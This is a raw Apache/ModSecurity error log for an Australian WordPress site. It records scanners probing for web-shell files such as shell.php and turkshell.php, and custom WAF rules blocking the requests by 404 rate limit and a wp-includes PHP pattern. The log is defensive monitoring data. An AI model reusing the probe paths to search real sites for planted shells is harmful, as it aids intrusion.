[Thu Apr 09 16:07:47.797598 2026] [:error] [pid 24927:tid 24942] [client 20.215.65.153:64206] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "addeUzXObuzEuw8mNJuguQAAAQw"]
[Thu Apr 09 16:07:48.369090 2026] [:error] [pid 24517:tid 24588] [client 20.215.65.153:63649] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "addeVHboYEn2ZFM_PS9fHAAAAI4"]
[Thu Apr 09 16:07:49.090164 2026] [:error] [pid 18477:tid 18487] [client 20.215.65.153:64955] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "addeVcDe826HlFeoLPI8YgAAAUg"]
[Thu Apr 09 16:07:49.140519 2026] [:error] [pid 24515:tid 24527] [client 216.24.210.40:25821] File does not exist: /usr/local/apache/htdocs/suspended-page/ff2.php
[Thu Apr 09 16:07:49.336856 2026] [:error] [pid 24515:tid 24538] [client 216.24.210.40:25821] [client 216.24.210.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "addeVa1OMnvM2fMnB1NNRAAAABM"]
[Thu Apr 09 16:07:49.741874 2026] [:error] [pid 18477:tid 18483] [client 20.215.65.153:63629] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "addeVcDe826HlFeoLPI8YwAAAUQ"]
[Thu Apr 09 16:07:50.390535 2026] [:error] [pid 18477:tid 18500] [client 20.215.65.153:64268] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "addeVsDe826HlFeoLPI8aAAAAVU"]
[Thu Apr 09 16:07:50.728428 2026] [:error] [pid 18477:tid 18480] [client 216.24.210.30:51879] [client 216.24.210.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "addeVsDe826HlFeoLPI8agAAAUE"]
[Thu Apr 09 16:07:51.039087 2026] [:error] [pid 24517:tid 24578] [client 20.215.65.153:64199] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "addeV3boYEn2ZFM_PS9fHwAAAIQ"]
[Thu Apr 09 16:07:51.655827 2026] [:error] [pid 24517:tid 24593] [client 20.215.65.153:65524] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "addeV3boYEn2ZFM_PS9fIQAAAJM"]
[Thu Apr 09 16:07:51.699154 2026] [:error] [pid 24517:tid 24592] [client 216.24.210.40:22051] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Thu Apr 09 16:07:51.879038 2026] [:error] [pid 24517:tid 24580] [client 216.24.210.40:22051] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atom.php
[Thu Apr 09 16:07:52.198987 2026] [:error] [pid 24515:tid 24524] [client 20.215.65.153:64306] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "addeWK1OMnvM2fMnB1NNRgAAAAU"]
[Thu Apr 09 16:07:52.241928 2026] [:error] [pid 24517:tid 24581] [client 216.24.210.40:22051] File does not exist: /usr/local/apache/htdocs/suspended-page/up.php
[Thu Apr 09 16:07:52.772513 2026] [:error] [pid 24927:tid 24937] [client 20.215.65.153:63634] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "addeWDXObuzEuw8mNJugvgAAAQc"]
[Thu Apr 09 16:07:53.053246 2026] [:error] [pid 24517:tid 24577] [client 216.24.210.40:22051] [client 216.24.210.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.40, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/js/wp-login.php"] [unique_id "addeWXboYEn2ZFM_PS9fKQAAAIM"]
[Thu Apr 09 16:07:53.417471 2026] [:error] [pid 24517:tid 24586] [client 216.24.210.40:22051] File does not exist: /usr/local/apache/htdocs/suspended-page/worm.PhP
[Thu Apr 09 16:07:53.542236 2026] [:error] [pid 24927:tid 24950] [client 20.215.65.153:63657] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "addeWTXObuzEuw8mNJugwAAAARQ"]
[Thu Apr 09 16:07:53.683298 2026] [:error] [pid 24517:tid 24583] [client 216.24.210.40:22051] File does not exist: /usr/local/apache/htdocs/suspended-page/ext.php
[Thu Apr 09 16:07:53.996486 2026] [:error] [pid 24517:tid 24588] [client 216.24.210.40:22051] File does not exist: /usr/local/apache/htdocs/suspended-page/delpaths.php
[Thu Apr 09 16:07:54.227378 2026] [:error] [pid 24515:tid 24535] [client 20.215.65.153:63655] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "addeWq1OMnvM2fMnB1NNRwAAABA"]
[Thu Apr 09 16:07:54.364054 2026] [:error] [pid 24517:tid 24576] [client 216.24.210.40:22051] [client 216.24.210.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.40, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "addeWnboYEn2ZFM_PS9fLwAAAII"]
[Thu Apr 09 16:07:54.779911 2026] [:error] [pid 24927:tid 24936] [client 20.215.65.153:64288] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "addeWjXObuzEuw8mNJugxQAAAQY"]
[Thu Apr 09 16:07:54.921385 2026] [:error] [pid 24517:tid 24595] [client 216.24.210.40:22051] File does not exist: /usr/local/apache/htdocs/suspended-page/gifclass.php
[Thu Apr 09 16:07:55.228625 2026] [:error] [pid 24517:tid 24596] [client 216.24.210.40:22051] File does not exist: /usr/local/apache/htdocs/suspended-page/plugin.php
[Thu Apr 09 16:07:55.304861 2026] [:error] [pid 24515:tid 24539] [client 20.215.65.153:64234] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wert.php"] [unique_id "addeW61OMnvM2fMnB1NNSAAAABQ"]
[Thu Apr 09 16:07:55.605162 2026] [:error] [pid 24517:tid 24594] [client 216.24.210.40:22051] File does not exist: /usr/local/apache/htdocs/suspended-page/update-core.php
[Thu Apr 09 16:07:55.878041 2026] [:error] [pid 20837:tid 20860] [client 20.215.65.153:64885] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wert.php"] [unique_id "addeW_SL71FHZkjrGzOvbAAAAZU"]
[Thu Apr 09 16:07:56.039559 2026] [:error] [pid 24517:tid 24589] [client 216.24.210.40:22051] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Thu Apr 09 16:07:56.483161 2026] [:error] [pid 20837:tid 20854] [client 20.215.65.153:64227] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wert.php"] [unique_id "addeXPSL71FHZkjrGzOvbQAAAY8"]
[Thu Apr 09 16:07:56.842324 2026] [:error] [pid 24517:tid 24597] [client 216.24.210.40:22051] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/content.php
[Thu Apr 09 16:07:57.027517 2026] [:error] [pid 24515:tid 24537] [client 20.215.65.153:64244] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wert.php"] [unique_id "addeXa1OMnvM2fMnB1NNSQAAABI"]
[Thu Apr 09 16:07:57.839996 2026] [:error] [pid 24515:tid 24540] [client 20.215.65.153:64877] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "addeXa1OMnvM2fMnB1NNSwAAABU"]
[Thu Apr 09 16:07:58.627739 2026] [:error] [pid 24515:tid 24528] [client 20.215.65.153:63583] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "addeXq1OMnvM2fMnB1NNTQAAAAk"]
[Thu Apr 09 16:07:59.275212 2026] [:error] [pid 24515:tid 24519] [client 20.215.65.153:64875] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "addeX61OMnvM2fMnB1NNUgAAAAA"]
[Thu Apr 09 16:07:59.704451 2026] [:error] [pid 24517:tid 24582] [client 216.24.210.40:22051] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Thu Apr 09 16:07:59.800312 2026] [:error] [pid 20837:tid 20859] [client 20.215.65.153:63055] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "addeX_SL71FHZkjrGzOvbwAAAZQ"]
[Thu Apr 09 16:07:59.876068 2026] [:error] [pid 24517:tid 24585] [client 216.24.210.40:22051] File does not exist: /usr/local/apache/htdocs/suspended-page/index2.php
[Thu Apr 09 16:08:00.426866 2026] [:error] [pid 24624:tid 24632] [client 20.215.65.153:64195] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "addeYO4Jn-WvK1ZBTviVUQAAAMY"]
[Thu Apr 09 16:08:00.840315 2026] [:error] [pid 24517:tid 24588] [client 216.24.210.40:22051] File does not exist: /usr/local/apache/htdocs/suspended-page/shell.php
[Thu Apr 09 16:08:00.984791 2026] [:error] [pid 24624:tid 24633] [client 20.215.65.153:64304] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "addeYO4Jn-WvK1ZBTviVUwAAAMc"]
[Thu Apr 09 16:08:01.465217 2026] [:error] [pid 24517:tid 24576] [client 216.24.210.40:22051] [client 216.24.210.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "addeYXboYEn2ZFM_PS9fSgAAAII"]
[Thu Apr 09 16:08:01.544926 2026] [:error] [pid 18477:tid 18491] [client 20.215.65.153:64222] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "addeYcDe826HlFeoLPI8dgAAAUw"]
[Thu Apr 09 16:08:02.181363 2026] [:error] [pid 20837:tid 20857] [client 20.215.65.153:64859] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "addeYvSL71FHZkjrGzOvcAAAAZI"]
[Thu Apr 09 16:08:02.703170 2026] [:error] [pid 24927:tid 24947] [client 20.215.65.153:64302] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oij98gy.php"] [unique_id "addeYjXObuzEuw8mNJugzQAAARE"]
[Thu Apr 09 16:08:02.800644 2026] [:error] [pid 24927:tid 24937] [client 216.24.210.3:31497] File does not exist: /usr/local/apache/htdocs/suspended-page/hehe.php
[Thu Apr 09 16:08:03.008460 2026] [:error] [pid 24927:tid 24950] [client 216.24.210.3:31497] [client 216.24.210.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "addeYzXObuzEuw8mNJug0AAAARQ"]
[Thu Apr 09 16:08:03.249271 2026] [:error] [pid 18477:tid 18498] [client 20.215.65.153:64279] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oij98gy.php"] [unique_id "addeY8De826HlFeoLPI8ewAAAVM"]
[Thu Apr 09 16:08:03.809160 2026] [:error] [pid 18477:tid 18480] [client 20.215.65.153:64943] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oij98gy.php"] [unique_id "addeY8De826HlFeoLPI8fAAAAUE"]
[Thu Apr 09 16:08:04.305360 2026] [:error] [pid 20837:tid 20849] [client 173.239.218.150:31275] File does not exist: /usr/local/apache/htdocs/suspended-page/dir.php
[Thu Apr 09 16:08:04.389590 2026] [:error] [pid 24516:tid 24551] [client 20.215.65.153:64898] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oij98gy.php"] [unique_id "addeZNhW7vSS-UkeWCUHcgAAAEQ"]
[Thu Apr 09 16:08:04.484887 2026] [:error] [pid 20837:tid 20846] [client 173.239.218.150:31275] [client 173.239.218.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "addeZPSL71FHZkjrGzOvcwAAAYc"]
[Thu Apr 09 16:08:04.979685 2026] [:error] [pid 18477:tid 18492] [client 20.215.65.153:64887] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "addeZMDe826HlFeoLPI8gAAAAU0"]
[Thu Apr 09 16:08:05.645788 2026] [:error] [pid 18477:tid 18493] [client 20.215.65.153:64884] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "addeZcDe826HlFeoLPI8ggAAAU4"]
[Thu Apr 09 16:08:05.876756 2026] [:error] [pid 24927:tid 24938] [client 216.24.210.18:27241] File does not exist: /usr/local/apache/htdocs/suspended-page/nf_tracking.php
[Thu Apr 09 16:08:06.246174 2026] [:error] [pid 24927:tid 24943] [client 20.215.65.153:64263] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "addeZjXObuzEuw8mNJug2gAAAQ0"]
[Thu Apr 09 16:08:06.290325 2026] [:error] [pid 24927:tid 24941] [client 216.24.210.18:27241] File does not exist: /usr/local/apache/htdocs/suspended-page/filefuns.php
[Thu Apr 09 16:08:06.719187 2026] [:error] [pid 24927:tid 24952] [client 216.24.210.18:27241] File does not exist: /usr/local/apache/htdocs/suspended-page/l.php
[Thu Apr 09 16:08:06.915220 2026] [:error] [pid 24516:tid 24565] [client 20.215.65.153:64202] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "addeZthW7vSS-UkeWCUHdAAAAFI"]
[Thu Apr 09 16:08:07.250267 2026] [:error] [pid 24927:tid 24931] [client 216.24.210.18:27241] File does not exist: /usr/local/apache/htdocs/suspended-page/repeater.php
[Thu Apr 09 16:08:07.596116 2026] [:error] [pid 24927:tid 24935] [client 216.24.210.18:27241] [client 216.24.210.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "addeZzXObuzEuw8mNJug4wAAAQU"]
[Thu Apr 09 16:08:08.294218 2026] [:error] [pid 18477:tid 18486] [client 20.215.65.153:64856] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/turkshell.php"] [unique_id "addeaMDe826HlFeoLPI8hwAAAUc"]
[Thu Apr 09 16:08:08.467943 2026] [:error] [pid 18477:tid 18487] [client 173.239.218.18:27685] File does not exist: /usr/local/apache/htdocs/suspended-page/contacts.php
[Thu Apr 09 16:08:08.706550 2026] [:error] [pid 18477:tid 18498] [client 173.239.218.18:27685] File does not exist: /usr/local/apache/htdocs/suspended-page/wsa.php
[Thu Apr 09 16:08:08.813635 2026] [:error] [pid 20837:tid 20842] [client 20.215.65.153:64926] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/turkshell.php"] [unique_id "addeaPSL71FHZkjrGzOvdgAAAYM"]
[Thu Apr 09 16:08:08.882100 2026] [:error] [pid 18477:tid 18484] [client 173.239.218.18:27685] [client 173.239.218.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "addeaMDe826HlFeoLPI8igAAAUU"]
[Thu Apr 09 16:08:09.340183 2026] [:error] [pid 24515:tid 24534] [client 20.215.65.153:64837] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/turkshell.php"] [unique_id "addeaa1OMnvM2fMnB1NNXAAAAA8"]
[Thu Apr 09 16:08:09.915445 2026] [:error] [pid 24927:tid 24949] [client 20.215.65.153:63589] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/turkshell.php"] [unique_id "addeaTXObuzEuw8mNJug5QAAARM"]
[Thu Apr 09 16:08:10.216868 2026] [:error] [pid 24927:tid 24934] [client 216.24.210.6:32835] [client 216.24.210.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "addeajXObuzEuw8mNJug5wAAAQQ"]
[Thu Apr 09 16:08:10.482974 2026] [:error] [pid 24927:tid 24943] [client 20.215.65.153:63617] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "addeajXObuzEuw8mNJug6AAAAQ0"]
[Thu Apr 09 16:08:11.008780 2026] [:error] [pid 24515:tid 24526] [client 20.215.65.153:64272] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "addea61OMnvM2fMnB1NNXgAAAAc"]
[Thu Apr 09 16:08:11.399631 2026] [:error] [pid 24927:tid 24931] [client 216.24.210.12:52139] File does not exist: /usr/local/apache/htdocs/suspended-page/lv.php
